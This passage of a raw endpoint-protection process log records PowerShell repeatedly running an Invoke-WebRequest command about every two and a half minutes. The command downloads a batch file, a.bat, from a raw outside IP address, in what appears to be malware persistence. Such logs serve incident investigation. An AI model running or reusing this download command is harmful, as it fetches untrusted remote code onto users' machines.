'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:57:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:59:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:02:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:04:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:07:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:09:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:12:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:14:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:17:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:19:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:22:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:24:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:27:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:29:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:32:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:34:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:37:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:39:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:42:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:44:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:47:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:49:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:52:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:54:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:57:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 18:59:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:02:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:04:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:07:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:09:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:12:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:14:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:17:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:19:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:22:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:24:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:27:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:29:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:32:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:34:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:37:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:39:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:42:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:44:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:47:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:49:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:52:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:54:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:57:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 19:59:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:02:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:04:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:07:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:09:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:12:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:14:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:17:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:19:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:22:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:24:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:27:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:29:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:32:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:34:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:37:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:39:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:42:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:44:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:47:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:49:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:52:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:54:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:57:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 20:59:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:02:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:04:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:07:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:09:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:12:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:14:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:17:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:19:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:22:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:24:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:27:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:29:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:32:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:34:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:37:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:39:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:42:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:44:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:47:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:49:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:52:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:54:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:57:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 21:59:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:02:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:04:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:07:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:09:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:12:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:14:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:17:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:19:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:22:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:24:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:27:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:29:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:32:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:34:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:37:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:39:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:42:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:44:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:47:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:49:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:52:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:54:00 AVAVER: 21.2.2455 AR2: 240830 defs: 24090802 2024-09-08 22:54:00 ARPOT2: Start 2888 2024-09-08 22:54:00 AR2CFG: 240830 2024-09-08 22:54:00 AR2DEV: Start 1 Driver: 210305 2024-09-08 22:54:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:57:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 22:59:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:02:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:04:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:07:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:09:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:12:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:14:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:17:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:19:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:22:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:24:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:27:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:29:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 